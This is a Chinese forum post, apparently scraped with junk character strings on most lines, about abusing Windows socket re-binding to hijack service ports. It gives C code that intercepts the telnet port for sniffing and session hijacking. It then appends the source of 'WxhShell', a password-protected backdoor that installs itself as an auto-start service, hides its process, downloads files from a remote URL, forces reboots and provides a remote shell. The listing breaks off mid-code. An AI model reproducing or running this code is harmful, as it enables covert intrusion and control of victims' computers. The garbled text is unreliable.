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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: %7bZnK`C  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); .FXn=4l'vV  
x?B8b-*  
  saddr.sin_family = AF_INET; KZ)p\p<1  
oVSq#I4  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ;iEFG^'tG  
KUqD<Jj?  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); HN tl>H  
?rn#S8nNx<  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 y7CrH=^jc  
}PDNW  
  这意味着什么?意味着可以进行如下的攻击: 0if~qGm=!  
PXYo@^ 3  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 9fL48f$  
SNK _  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) B}y-zj; T  
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  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 kdry a  
M%8:  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  h0fbc;l  
GM<r{6Qy  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 &<sN( ;%0R  
Q@lJ|  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 7 n=fB#!*3  
M _z-~G  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 2x7%6'  
B3^4,'  
  #include ES#K'Lf  
  #include }TCOm_Y/qL  
  #include E|Lv_4lb=  
  #include    %r*zd0*<n1  
  DWORD WINAPI ClientThread(LPVOID lpParam);   c|'hs   
  int main() }~RH!Q1  
  { ,4wZ/r> d  
  WORD wVersionRequested; Dab1^H!KT  
  DWORD ret; OW12m{  
  WSADATA wsaData; b}[W[J}`  
  BOOL val; vK?{Z^J][  
  SOCKADDR_IN saddr; 'J`%[,@V  
  SOCKADDR_IN scaddr; `_;VD?")*l  
  int err; *?`:=  
  SOCKET s; G*|2qX"o  
  SOCKET sc; yU(k;A-  
  int caddsize; YrR}55V,  
  HANDLE mt; Uv06f+P(  
  DWORD tid;   @edi6b1W  
  wVersionRequested = MAKEWORD( 2, 2 ); :h&*<!O2B`  
  err = WSAStartup( wVersionRequested, &wsaData ); {]}}rx'|P  
  if ( err != 0 ) { l%^'K%'b  
  printf("error!WSAStartup failed!\n"); :hp=>^$Y  
  return -1; /L1qdkG  
  } .hCOi<wB  
  saddr.sin_family = AF_INET; :B<lDcFKJ  
   5"[Qs|VjA6  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 %@{);5[  
DaW_-:@s  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 24Y~x`W   
  saddr.sin_port = htons(23); ,z?Re)q m  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) #n'tpp~O  
  { \DE`tkV8  
  printf("error!socket failed!\n"); j_?U6$xi  
  return -1; uL!{xuN  
  } hNV" {V3`{  
  val = TRUE; GJA3  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ,OLN%2Sq  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) S) [`Bm  
  { H! ZPP8]j>  
  printf("error!setsockopt failed!\n"); or u.a   
  return -1; ESZ6<!S  
  } b "4W` A  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; SLc6 ]?  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 'W~O ?  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 }XiS:  
j`\}xDg  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) D'>yu"  
  { 1(Kd/%]{  
  ret=GetLastError(); .! LOhZ  
  printf("error!bind failed!\n"); t`DoTb4  
  return -1; j"E_nV:Qc  
  } )ll`F7B-  
  listen(s,2); h{]l?6`  
  while(1) i%M2(8&^Q  
  { zb}:wUR  
  caddsize = sizeof(scaddr); >sP-)ZeuU[  
  //接受连接请求 33\{S$p  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); \HDRr*KO  
  if(sc!=INVALID_SOCKET) Y>+\:O  
  { Frt_X%  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); a`CsLBv&  
  if(mt==NULL) tWi@_Rlx;  
  { k[N46=u  
  printf("Thread Creat Failed!\n"); 8KD7t&H  
  break; +gTnq")wnI  
  } c8gdY`  
  } //W<\  
  CloseHandle(mt); (i7]N[  
  } 0 )#5_-%  
  closesocket(s); itM6S$  
  WSACleanup(); [t /hjm"$  
  return 0; g[j"]~  
  }   <Ja>  
  DWORD WINAPI ClientThread(LPVOID lpParam) ,k/*f+t  
  { +GWeu0b(~  
  SOCKET ss = (SOCKET)lpParam; -lyT8qZ:(  
  SOCKET sc; 4.7ePbk[E  
  unsigned char buf[4096]; S"w$#"EJA  
  SOCKADDR_IN saddr; Warz"n]iC  
  long num; fAfsKO*  
  DWORD val; PK u+$  
  DWORD ret; 5>7ECe*  
  //如果是隐藏端口应用的话,可以在此处加一些判断 (?&X<=|"  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   O'" &9  
  saddr.sin_family = AF_INET; 'u$$scGt  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); l?B\TA^  
  saddr.sin_port = htons(23); lC.Yu$O5  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) bzmT.!  
  { Fy<dk}@  
  printf("error!socket failed!\n"); k oC2bX  
  return -1; ~xu<xy@E  
  } 5 %q26&  
  val = 100; w1aa5-aF  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) cp2e,%o  
  { zHr1FxD  
  ret = GetLastError(); lx~!FLn  
  return -1; Ud:v3"1  
  } rU5gQq;  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ow ~(k5k:  
  { y`=A$>A  
  ret = GetLastError(); Y ,B0=}  
  return -1; ,'F;s:WM,  
  } Z*nC ;5Kd  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) _I~W!8&w>  
  { CO1D.5  
  printf("error!socket connect failed!\n"); 1A">tgA1  
  closesocket(sc); @Wy>4B^  
  closesocket(ss); T?)?"b\qz  
  return -1; :=^JHE{  
  } %? _pSH}$!  
  while(1) ) ]U-7  
  { 1,Uv;s;{  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 x\!Qe\lE  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 xe|o( !(  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 wCvtw[6  
  num = recv(ss,buf,4096,0); y_38;8ex  
  if(num>0) "W|Sh#JF  
  send(sc,buf,num,0); 3IZ^!J  
  else if(num==0) 7Rk eV  
  break; |~W!Y\l-  
  num = recv(sc,buf,4096,0); YrjF1hJ  
  if(num>0) -d6| D?}S  
  send(ss,buf,num,0); H |Z9]+h)7  
  else if(num==0) t*82^KDU  
  break; Ezm ~SY  
  } .ev'd&l.  
  closesocket(ss); ^$24231^  
  closesocket(sc); ' V;cA$ $  
  return 0 ; H6x~mZu_:T  
  } @X"p"3V  
a84^"GH7  
l[l('-f  
========================================================== SPe Se/  
6YQ&+4   
下边附上一个代码,,WXhSHELL .#6Dad=S*  
\q(RqD  
========================================================== 'd^U!l  
X26gl 'U  
#include "stdafx.h" P8Fq %k  
EMmNlj6  
#include <stdio.h> y1(smZU  
#include <string.h> uv}[MXOP  
#include <windows.h> "44VvpQC  
#include <winsock2.h> 0ho+Y@8  
#include <winsvc.h> pRD8/7@(B{  
#include <urlmon.h>  "C B*  
@/ wJW``;  
#pragma comment (lib, "Ws2_32.lib") T c4N\Cy  
#pragma comment (lib, "urlmon.lib") h2zuPgz,  
,g#=pdX;  
#define MAX_USER   100 // 最大客户端连接数 1 +O- g  
#define BUF_SOCK   200 // sock buffer l];,)ddD9  
#define KEY_BUFF   255 // 输入 buffer hUcG3IOBf  
ot]E\g+!  
#define REBOOT     0   // 重启 A{Z=[]r1`E  
#define SHUTDOWN   1   // 关机 / ,f*IdB  
DHW;*A-  
#define DEF_PORT   5000 // 监听端口 DT8|2"H  
>0=`3X|Y7  
#define REG_LEN     16   // 注册表键长度 tEf_XBjKV  
#define SVC_LEN     80   // NT服务名长度 3lqR(Hh3  
V{O,O,*  
// 从dll定义API .%h.b6^  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); B9/x?Jv1  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); '%yWz)P  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Rgw\qOb  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); {^1GHU  
\Q|1I  
// wxhshell配置信息 Bl2y~fCA  
struct WSCFG { 5. 5  
  int ws_port;         // 监听端口 @>_`g=  
  char ws_passstr[REG_LEN]; // 口令 h)"PPI  
  int ws_autoins;       // 安装标记, 1=yes 0=no @H"~/m_o  
  char ws_regname[REG_LEN]; // 注册表键名 !iWPldn&]  
  char ws_svcname[REG_LEN]; // 服务名 a=&a)FR  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 j` 9pZAF  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ^1BQejD  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 # nwEF QA  
int ws_downexe;       // 下载执行标记, 1=yes 0=no n|Iy  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 3<1Uq3Pa  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 w-2p'u['Z  
ns9iTU)  
}; znw\Dn?g  
@Nn9- #iW  
// default Wxhshell configuration Pdmfn8I]%  
struct WSCFG wscfg={DEF_PORT, :[ m;#b  
    "xuhuanlingzhe", (n05MwKu\  
    1, D+]#qS1q  
    "Wxhshell", CDQ}C=4  
    "Wxhshell", _{)e\n  
            "WxhShell Service", $*V:; -H  
    "Wrsky Windows CmdShell Service", a?.hvI   
    "Please Input Your Password: ", d_BECx <\  
  1, YgNt>4K  
  "http://www.wrsky.com/wxhshell.exe", ^]3Y11sI  
  "Wxhshell.exe" sWP5=t(i+9  
    }; Yj|Oy  
Cb7f-Eag  
// 消息定义模块 tI|?k(D  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; K4YpE}]u  
char *msg_ws_prompt="\n\r? for help\n\r#>";  #:_qo  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; XMd-r8yYr  
char *msg_ws_ext="\n\rExit."; N W :_)1  
char *msg_ws_end="\n\rQuit."; vcy}ZqWBO  
char *msg_ws_boot="\n\rReboot..."; NDEltG(  
char *msg_ws_poff="\n\rShutdown..."; .$y}}/{j?[  
char *msg_ws_down="\n\rSave to "; cu5Yvp  
r5h}o)J  
char *msg_ws_err="\n\rErr!"; Sg(fZ' -  
char *msg_ws_ok="\n\rOK!"; ~^cx a%  
, \ |S BS  
char ExeFile[MAX_PATH]; s]Nh9h  
int nUser = 0; oA%8k51>~K  
HANDLE handles[MAX_USER]; CvKXVhf0$J  
int OsIsNt; NK2Kw{c"iI  
9E4H`[EQ  
SERVICE_STATUS       serviceStatus; >KmOTM< {  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; T3,"g=  
8Eyi`~cAiH  
// 函数声明 1O>wXq7q  
int Install(void); Xp@8 vu  
int Uninstall(void); A9' [x7N  
int DownloadFile(char *sURL, SOCKET wsh); uo;aC$US  
int Boot(int flag); l)< '1dqe  
void HideProc(void); I ugYlt  
int GetOsVer(void); W+-a@)sh3Q  
int Wxhshell(SOCKET wsl); 4HQP,  
void TalkWithClient(void *cs); hqIYo .<  
int CmdShell(SOCKET sock); N=^{FZ  
int StartFromService(void); r63_|~JVB<  
int StartWxhshell(LPSTR lpCmdLine); 55MrsiW  
[`nY /g:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ")'o5V  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); YhYcqE8  
0OO$(R*  
// 数据结构和表定义 3o&PVU? Q  
SERVICE_TABLE_ENTRY DispatchTable[] = j/`- x  
{ 8\+kfK  
{wscfg.ws_svcname, NTServiceMain}, +e?mKLw14  
{NULL, NULL} 3e4; '5q;  
}; e6f:@ O?  
~G|un}g=  
// 自我安装 *{8<4CVv  
int Install(void) qP{S!Z(  
{ _xT=AF9~o  
  char svExeFile[MAX_PATH]; S*-n%D0q5  
  HKEY key; k~Qb"6n2  
  strcpy(svExeFile,ExeFile); 7\m.xWX e  
sVtx h]  
// 如果是win9x系统,修改注册表设为自启动 <`,pyvR Kv  
if(!OsIsNt) { 4A^=4"BCV  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !Z[dK{ f"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); eIBHAdU+g/  
  RegCloseKey(key); .|[ZEXq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { EN />f=%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @ c,KK~{  
  RegCloseKey(key); Bf33%I~  
  return 0; '2mR;APz  
    } WBD e`  
  } lPF(&pP  
} S`HshYlE q  
else { m99j]w r~c  
P=PcO>  
// 如果是NT以上系统,安装为系统服务 UmYReF<<_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); t)P5bQ+$u9  
if (schSCManager!=0) 7Gb1[3  
{  SbQ Ri  
  SC_HANDLE schService = CreateService k~f3~-"  
  ( /+2;".  
  schSCManager, &~VWh}=r  
  wscfg.ws_svcname, ]vj4E"2;  
  wscfg.ws_svcdisp, q}gj.@Q"  
  SERVICE_ALL_ACCESS, MDn+K#p  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , {* S8n09v  
  SERVICE_AUTO_START, 8Q&.S)hrN  
  SERVICE_ERROR_NORMAL, !T;*F%G9  
  svExeFile, ^%l~|w  
  NULL, R\k= CoJJ  
  NULL, pwo5Ij,~q  
  NULL, ?&#z3c$}  
  NULL, -;pZC}Nd3  
  NULL a)J3=Z-  
  ); #v!(uuq,  
  if (schService!=0) EOJk7  
  { (O{5L(  
  CloseServiceHandle(schService); <Y~?G:v6+  
  CloseServiceHandle(schSCManager); 4a3Xz,[(a  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); v,t;!u,40  
  strcat(svExeFile,wscfg.ws_svcname); &2IrST{d:V  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { E*VUP 5E  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Q- ( [3%  
  RegCloseKey(key); AZ' "M{wiI  
  return 0; tYV%izE  
    } /MFy%=0l  
  } _=W ^#z  
  CloseServiceHandle(schSCManager); Z* eb  
} 5sJi- ^  
} Pw:(X0@  
Hik8u!#P  
return 1; <[{Ty+  
} BG:l Zj'I  
Kq!E<|yM  
// 自我卸载 BDoL)}bRE  
int Uninstall(void) <SM{yMz  
{ 6J. [9#  
  HKEY key; AQkH3p/W  
{!5"Y(>X  
if(!OsIsNt) { XVwaX2=L  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { XQCu\\>;  
  RegDeleteValue(key,wscfg.ws_regname); rl-r8?H}  
  RegCloseKey(key); XrR@cDNx{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;#c|ZnX  
  RegDeleteValue(key,wscfg.ws_regname); oFt]q =EU  
  RegCloseKey(key); |jB]5ciT  
  return 0; 5Pmmt&#/Z  
  } 0v6(A4Y  
} !wH7;tU  
} @ k+Z?Hp  
else { qh}M!p2  
P(?i>F7s  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); g7*cwu  
if (schSCManager!=0) Z}bUvr XP  
{ ECHl 9; +  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); K07SbL7g!p  
  if (schService!=0) VYw vT0  
  { ERxA79  
  if(DeleteService(schService)!=0) { +N0V8T%~z.  
  CloseServiceHandle(schService); g1U   
  CloseServiceHandle(schSCManager); `P1jg$(eA  
  return 0; 2yqm$i9C  
  } A WlR" p2  
  CloseServiceHandle(schService); [@D+kL*>  
  } WK7=z3mu  
  CloseServiceHandle(schSCManager); {l&6= z  
} s8w7/*<d  
} -:9E+b  
\(UEjlo  
return 1; fdr.'aMf%  
} #PYTFB%  
n]&/?6}  
// 从指定url下载文件 ow:}NI  
int DownloadFile(char *sURL, SOCKET wsh) {XYv &K  
{ R_4]6{Rm  
  HRESULT hr; kIS&! V  
char seps[]= "/"; S0.   
char *token; 4ujw/`:/m  
char *file; PMr {BS  
char myURL[MAX_PATH]; S-^y;#=  
char myFILE[MAX_PATH]; q^}QwJw  
;)ff Gg>  
strcpy(myURL,sURL); K{[ySB  
  token=strtok(myURL,seps); dRg1I=|{_  
  while(token!=NULL) (Bs0 /C  
  { W]|;ZzZ=m  
    file=token; 77/&M^0  
  token=strtok(NULL,seps); ) *:<3g!  
  } 12)~PIaF  
,ry2J,IT7  
GetCurrentDirectory(MAX_PATH,myFILE); ~7PPB|XY  
strcat(myFILE, "\\"); ?_9cFo59:  
strcat(myFILE, file); 4xLU15C  
  send(wsh,myFILE,strlen(myFILE),0); [~$Ji&Dd  
send(wsh,"...",3,0); $I(2}u?1+d  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 9:0JWW^so  
  if(hr==S_OK) Alh"G6  
return 0; b6=.6?H@4f  
else k#k!AcC  
return 1; 42:~oKiQ$"  
k,0RpE  
} (bH*i\W  
[sG=(~BU  
// 系统电源模块 U(5(0r  
int Boot(int flag) >O[# 661  
{ w91gM*A  
  HANDLE hToken; s+?r4t3H!  
  TOKEN_PRIVILEGES tkp; kJIKULf  
k)\Yl`4au  
  if(OsIsNt) { ~ ar8e  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); eN]0]9JO  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); s]Z/0:`  
    tkp.PrivilegeCount = 1; rC~hjViG.  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ~X;r}l=k<  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); +) 2c\1  
if(flag==REBOOT) { TL@_m^SM  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) GIQ/gM?Pv  
  return 0; ji {V#  
} d |Wpub  
else { cw#p!mOi~  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 7V?]Qif~  
  return 0; H~RWM'_  
} jTk !wm=  
  } *%5#\ I  
  else { Vf6lu)Z c1  
if(flag==REBOOT) { mJb>)bO l  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Er} xB~<t  
  return 0; '3=[xVnv  
} Uxx=$&#  
else { OIB~ W  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) vvw6 GB,M  
  return 0; c>d+q9M  
} `.nkC_d  
} jeMh  
#: L|-_=a  
return 1; '7[{ISBXU  
} En 3Q%  
@TC_XU)&  
// win9x进程隐藏模块 s5FyP "V  
void HideProc(void) )ARfI)<1b  
{ l i}4d+  
7QL>f5Q  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); kV"';a  
  if ( hKernel != NULL ) !I5_ln  
  { UzFd@W u#  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ~=(?Z2UDA_  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 7(na?Z$  
    FreeLibrary(hKernel); Q(gu ";&  
  } ->&AJI0  
2Jrr;"r  
return; %*]3j^b Q+  
} %YefTk8cr,  
(i>VJr  
// 获取操作系统版本 Zeyhr\T  
int GetOsVer(void) {c|nIwdB  
{ u9}}}UN!  
  OSVERSIONINFO winfo; 8m1 @l$  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ":?>6'*1  
  GetVersionEx(&winfo); @P+k7"f  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) @m!~![  
  return 1; "v4;m\g&:  
  else a?E]-Zf  
  return 0; ?sDm~]Z  
} yd5r]6ej  
2?rg&og6  
// 客户端句柄模块 3toY#!1Ch  
int Wxhshell(SOCKET wsl) a9Lf_/w{&  
{ `7}6  
  SOCKET wsh; bmna*!l^M  
  struct sockaddr_in client; V| z|H$-  
  DWORD myID; 3JEH sYxs  
ya{vR* '~  
  while(nUser<MAX_USER) -cNh5~p=  
{ !TP8LQ  
  int nSize=sizeof(client); h>$,97EU  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ' ^gF  
  if(wsh==INVALID_SOCKET) return 1; 1 9a"@WB@  
j(6:   
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); P (jlWr$$  
if(handles[nUser]==0) UZMo(rG.]{  
  closesocket(wsh); d6,%P 6  
else o\h[K<^>)  
  nUser++; WaF<qhu*  
  } qdm5dQ (c  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); U*, 8 ,C  
J]nb;4w  
  return 0; F%bv vw*(  
} 8dq{.B?  
01 6l$K4  
// 关闭 socket /L'm@8  
void CloseIt(SOCKET wsh) ;r>?V2,tm  
{ ui`xgR\6Rh  
closesocket(wsh); =1)yI>2e%}  
nUser--; 3SVI|A5(d  
ExitThread(0); O\pqZ`E=s  
} kmNY ;b6Y$  
3lhXD_Y  
// 客户端请求句柄 xeo;4c#S5  
void TalkWithClient(void *cs) 4?g~GI3  
{ z|F>+6l"Y7  
tc\LK_@$/F  
  SOCKET wsh=(SOCKET)cs; j{>E.F2.  
  char pwd[SVC_LEN]; k!t5>kPSQ  
  char cmd[KEY_BUFF]; nVw]0Yl  
char chr[1]; REB8_H"  
int i,j; ?(>7v[=iT  
-r]s #$  
  while (nUser < MAX_USER) { -'3vQXj&  
#B"ki{Se*  
if(wscfg.ws_passstr) { COc1np  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); W!.UMmw`  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Wt()DG|[  
  //ZeroMemory(pwd,KEY_BUFF); ?c"No|@+  
      i=0; a-x8LfcbF  
  while(i<SVC_LEN) { l!Z>QE`.S  
4O9HoX#-?  
  // 设置超时 7xB#)o53  
  fd_set FdRead; QE)I7(  
  struct timeval TimeOut; ~YO')  
  FD_ZERO(&FdRead); "v/^nH  
  FD_SET(wsh,&FdRead); )FT~gl%  
  TimeOut.tv_sec=8; 5H:NY|  
  TimeOut.tv_usec=0; -]~U_J]  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); >pO[ S[  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); j\q1b:pE  
wd~e3%JM  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); f'\I52;FB  
  pwd=chr[0]; {}N*e"<O  
  if(chr[0]==0xd || chr[0]==0xa) { o DPs xw  
  pwd=0; X&MO}  
  break; ,f0cy\.?  
  } \K`AO{ D@  
  i++; xO9,,w47  
    } $%`OJf*k  
)9##mUt'}  
  // 如果是非法用户,关闭 socket 6.~HbN  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); !sEI|47{  
} fW!~*Q  
. Uv7{(  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ss T o?WL|  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); EyI 9$@4  
Y<:%_]]  
while(1) { ktU98Bk]  
Sq/M %z5'  
  ZeroMemory(cmd,KEY_BUFF); ml.l( 6A  
iBwl(,)?m2  
      // 自动支持客户端 telnet标准   T5B~CC'6  
  j=0; I|m fr{  
  while(j<KEY_BUFF) { %<O'\&!,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  7.CzS  
  cmd[j]=chr[0];  {3yzC  
  if(chr[0]==0xa || chr[0]==0xd) { pwT|T;j*  
  cmd[j]=0; LT!.M m  
  break; -5>K pgXo\  
  } PDREwBX  
  j++; +Nv&Qu%  
    } &.an-  
)AXTi4MNp  
  // 下载文件 {Mp>+e@xx  
  if(strstr(cmd,"http://")) { -0YS$v%au>  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ScQJsFE6  
  if(DownloadFile(cmd,wsh)) z(g4D!  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); j^llO1i/  
  else 3T# zxu  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0fxA*]h  
  }  ?Vbe  
  else { 9Vxsv*OR,  
$.R$I&U  
    switch(cmd[0]) { r&A#h;EQX2  
  3lM mSKN  
  // 帮助 g v&xC 6>  
  case '?': { !\JG]2 \  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); OQ 5{#  
    break; 1{_tV^3@  
  } fxI>FhU_  
  // 安装 ]]d9\fw  
  case 'i': { D}HW7Hnu^  
    if(Install()) d~g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [Rs5hO  
    else j8M}*1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %g5weiFM  
    break; E+dr\Xhv  
    } DvF`KHsy  
  // 卸载  .r[DqC  
  case 'r': { szF[LRb  
    if(Uninstall()) %.pX!jL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (=CV")tF  
    else *^=`HE89S  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); llhJ,wD  
    break; (nbqL+  
    } L=Dd`  
  // 显示 wxhshell 所在路径 5Jp@n .  
  case 'p': { {ogGi/8  
    char svExeFile[MAX_PATH]; VHM,W]  
    strcpy(svExeFile,"\n\r"); |n=m8X  
      strcat(svExeFile,ExeFile); p!AQ  
        send(wsh,svExeFile,strlen(svExeFile),0);  L/%3_,  
    break; ~4=4Ks0  
    } -869$  
  // 重启 REW *6:  
  case 'b': { {b<p~3%+Hc  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 8 fVI33  
    if(Boot(REBOOT)) @+syD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j()_ VoB1  
    else { M< *5Y43  
    closesocket(wsh); U.crRrN  
    ExitThread(0); 1zGEf&rv:  
    } (toGU  
    break; 1MRt_*N4  
    } xh#ef=Bw  
  // 关机 @0A0\2  
  case 'd': { O1JGv8Nr  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); wS%I.  
